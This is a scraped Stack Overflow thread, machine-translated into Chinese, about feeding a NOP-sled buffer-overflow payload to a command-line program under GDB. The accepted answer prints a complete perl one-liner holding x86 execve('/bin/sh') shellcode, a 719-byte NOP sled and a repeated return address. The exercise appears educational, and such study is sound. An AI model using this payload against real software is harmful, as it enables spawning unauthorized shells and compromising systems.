【问题标题】:Argument input for a bufferoverflow缓冲区溢出的参数输入
【发布时间】:2014-04-27 10:31:38
【问题描述】:

我试图在没有堆栈保护的命令行程序上生成一个 shell,这个程序接受两个输入,一个数字和一个日期。

./convert <number> <date> 

我想溢出缓冲区,现在我正在尝试做

[nop sled] ..... [shell code] ..... [return address] 

我的问题在于当我通过命令行(或更准确地说是在 GDB 中)传递 nop 时。在 GDB 中,当我使用参数运行时:1 \x90\x90\x90\x90.... 700 字节值,它作为输入接收的是实际字符 '\' 'x' '9' '0',与 nop 的十六进制值相反。我怎样才能正确输入这个? (我知道这一点是因为 EIP 给了我39785c30,它转换为9x\0)。我该怎么办?

【问题讨论】:

  • 为什么会有这么多关于故意做错事的帖子?是否突然出现全球漏洞短缺?如果是这样,那是我没有收到的另一份备忘录。
  • 答案取决于您的字符编码,但如果您使用 8 位 ascii,那么 É 的 ascii 代码似乎为 0x90。 (带重音的 E)
  • @KlasLindbäck 假设我只是通过 CLI 输入命令,这个带有 nop sled shell 代码和返回地址的字符串就在其中。我正在使用 bash。我不知道为什么它不会输入与字符相反的十六进制
  • @Kevin 将\x90 转换为C 代码中字符串中的单字节值144 由编译器完成。除非文档特别提到 gdb 的 CLI 进行了转换,否则没有理由期望转换。

标签: c input buffer command-line-arguments buffer-overflow


【解决方案1】:

好的,知道了!可以使用 perl 打印功能并使用转义符让它打印 nop (以及您无法使用键盘打印的其他字符)。例如perl -e 'print "\x90"',它会将 0x90 发送到内存(或您需要的任何内容)。

我做了这样的事情:

egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')

感谢大家的帮助!

【讨论】:

    猜你喜欢
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    • 2013-07-19
    • 2023-03-11
    • 1970-01-01
    • 1970-01-01
    • 2018-12-31
    相关资源
    最近更新 更多